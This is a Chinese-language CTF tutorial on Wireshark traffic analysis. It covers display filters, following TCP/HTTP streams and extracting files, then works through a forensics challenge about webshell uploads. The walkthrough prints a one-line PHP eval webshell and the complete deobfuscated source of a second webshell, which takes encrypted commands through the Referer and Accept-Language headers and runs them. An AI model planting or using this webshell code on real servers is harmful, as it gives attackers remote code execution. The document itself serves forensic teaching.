目錄
1.基本介紹
2.基本使用
1)數(shù)據(jù)包篩選:
2)篩選ip:
3)數(shù)據(jù)包還原
?4)數(shù)據(jù)提取
?3.wireshark實(shí)例
1.基本介紹
在CTF比賽中,對(duì)于流量包的分析取證是一種十分重要的題型。通常這類(lèi)題目都是會(huì)提供一個(gè)包含流量數(shù)據(jù)的pcap文件,參賽選手通過(guò)該文件篩選和過(guò)濾其中無(wú)關(guān)的流量信息,根據(jù)關(guān)鍵流量信息找出flag或者相關(guān)線索。
pcap流量包的分析通常都是通過(guò)圖形化的網(wǎng)絡(luò)嗅探器——wireshark進(jìn)行的,這款嗅探器經(jīng)過(guò)眾多開(kāi)發(fā)者的不斷完善,現(xiàn)在已經(jīng)成為使用最為廣泛的安全工具之一。接下來(lái),斗哥來(lái)為大家講解這款工具的基本使用。
?
2.基本使用
Wireshark的基本使用分為數(shù)據(jù)包篩選、數(shù)據(jù)包搜索、數(shù)據(jù)包還原、數(shù)據(jù)提取四個(gè)部分。
1)數(shù)據(jù)包篩選:
數(shù)據(jù)包篩選功能是wireshark的核心功能,比如需要篩選出特定的協(xié)議如HTTP,Telnet等,也可能需要篩選出ip地址,端口等。
2)篩選ip:
●源ip篩選
輸入命令:ip.src == 地址
3)數(shù)據(jù)包還原
在wireshark中,存在一個(gè)交追蹤流的功能,可以將HTTP或TCP流量集合在一起并還原成原始數(shù)據(jù),具體操作方式如下:
選中想要還原的流量包,右鍵選中,選擇追蹤流 – TCP流/UPD流/SSL流/HTTP流。
?可在彈出的窗口中看到被還原的流量信息
?4)數(shù)據(jù)提取
Wireshark支持提取通過(guò)http傳輸(上傳/下載)的文件內(nèi)容,方法如下:
菜刀下載文件的流量,需要?jiǎng)h除分組字節(jié)流前開(kāi)頭和結(jié)尾的X@Y字符,否則下載的文件會(huì)出錯(cuò)。鼠標(biāo)右鍵點(diǎn)擊 – 選中 顯示分組字節(jié)…
?在彈出的窗口中設(shè)置開(kāi)始和結(jié)束的字節(jié)(原字節(jié)數(shù)開(kāi)頭加3,結(jié)尾減3)
?最后點(diǎn)擊save as按鈕導(dǎo)出。
導(dǎo)出結(jié)果:
?
?3.wireshark實(shí)例
題目要求:
1.黑客第一次獲得的php木馬的密碼是什么
2.黑客第二次上傳php木馬是什么時(shí)間
3.第二次上傳的木馬通過(guò)HTTP協(xié)議中的哪個(gè)頭傳遞數(shù)據(jù)
題目要求php木馬的密碼,首先我們要知道php一句話木馬一般都是POST請(qǐng)求
所以我們直接過(guò)濾POST請(qǐng)求,發(fā)現(xiàn)這個(gè)IP請(qǐng)求了一個(gè)名為kkkaaa.php的php文件,很可疑
正常文件不會(huì)以此命名的, 打開(kāi)數(shù)據(jù)包看一下,發(fā)現(xiàn)了這個(gè)字段
Form item: "zzz" = "@eval(base64_decode($_POST[z0]));"
?
上傳的木馬應(yīng)該是:<?php eval($_POST['zzz']);?>
又將eval(base64_decode($_POST[z0]));傳入zzz參數(shù),目的是將z0傳入的數(shù)據(jù)進(jìn)行base64的解碼此時(shí)z0傳入base64編碼后的數(shù)據(jù),便可以執(zhí)行惡意代碼解碼后發(fā)現(xiàn)執(zhí)行了dirname函數(shù),目的是查看當(dāng)前路徑下的文件或目錄,類(lèi)似linux下的ls命令
PHP代碼是通過(guò)混淆過(guò)的,讓我們根本看不懂他的代碼
?還原后的代碼:
<?php
$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t{$i} ^ $k{$j};
}
}
return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
$u = parse_url($rr);
parse_str($u["query"], $q);
$q = array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
if ($q && $m) {
@session_start();
$s =& $_SESSION;
$ss = "substr";
$sl = "strtolower";
$i = $m[1][0] . $m[1][4];
$h = $sl($ss(md5($i . $kh), 0, 3));
$f = $sl($ss(md5($i . $kf), 0, 3));
$p = "";
for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
if (strpos($p, $h) === 0) {
$s[$i] = "";
$p = $ss($p, 3);
}
if (array_key_exists($i, $s)) {
$s[$i] .= $p;
$e = strpos($s[$i], $f);
if ($e) {
$k = $kh . $kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(x(gzcompress($o), $k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
?>
?這個(gè)函數(shù)在8.0已經(jīng)被移除,并且和eval()函數(shù)有同樣的安全隱患
?木馬要利用,就必然會(huì)與數(shù)據(jù)包進(jìn)行交互,仔細(xì)看看這兩行代碼
?
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
獲取http請(qǐng)求中的referer和accept_language字段的,與數(shù)據(jù)包產(chǎn)生了交互,所以可以基本斷定這兩個(gè)字段是黑客用來(lái)傳輸他想執(zhí)行的命令的.我們隨便看一個(gè)訪問(wèn)footer.php的包
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-675182.html
?所以木馬通過(guò)HTTP協(xié)議中的referer頭傳遞數(shù)據(jù)文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-675182.html
到了這里,關(guān)于Wireshark流量分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!